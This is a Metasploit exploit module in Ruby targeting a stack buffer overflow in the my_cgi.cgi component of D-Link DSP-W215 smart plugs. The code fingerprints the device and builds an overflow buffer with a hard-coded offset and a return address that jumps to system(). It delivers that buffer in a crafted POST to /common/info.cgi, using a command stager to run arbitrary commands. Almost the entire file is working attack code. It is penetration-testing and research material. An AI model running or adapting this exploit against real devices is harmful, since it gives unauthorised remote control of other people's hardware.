##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link info.cgi POST Request Buffer Overflow',
        'Description' => %q{
          This module exploits an anonymous remote code execution vulnerability on different D-Link
          devices. The vulnerability is a stack based buffer overflow in the my_cgi.cgi component,
          when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
          handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
          environment.
        },
        'Author' => [
          'Craig Heffner', # vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'References' => [
          ['CVE', '2014-125117'],
          ['OSVDB', '108249'],
          ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
        ],
        'Targets' => [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true } ],
          [
            'D-Link DSP-W215 - v1.02',
            {
              'Offset' => 477472,
              'Ret' => 0x405cec # jump to system - my_cgi.cgi
            }
          ]
        ],
        'DisclosureDate' => '2014-05-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => "/common/info.cgi",
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        end

        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("Trying to access the vulnerable URL...")

    @my_target = target
    check_code = check

    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end

    if @my_target.nil? || @my_target['auto']
      fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end

    print_status("Exploiting #{@my_target.name}...")
    execute_cmdstager(
      :flavor => :echo,
      :linemax => 185
    )
  end

  def prepare_shellcode(cmd)
    buf = rand_text_alpha_upper(@my_target['Offset'])   # Stack filler
    buf << [@my_target.ret].pack("N")                   # Overwrite $ra -> jump to system

    # la $t9, system
    # la $s1, 0x440000
    # jalr $t9 ; system
    # addiu $a0, $sp, 0x28 # our command

    buf << rand_text_alpha_upper(40)                # Command to execute must be at $sp+0x28
    buf << cmd                                      # Command to execute
    buf << "\x00"                                   # NULL terminate the command
  end

  def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)

    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => "/common/info.cgi",
        'encode_params' => false,
        'vars_post' => {
          'storage_path' => shellcode,
        }
      }, 5)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
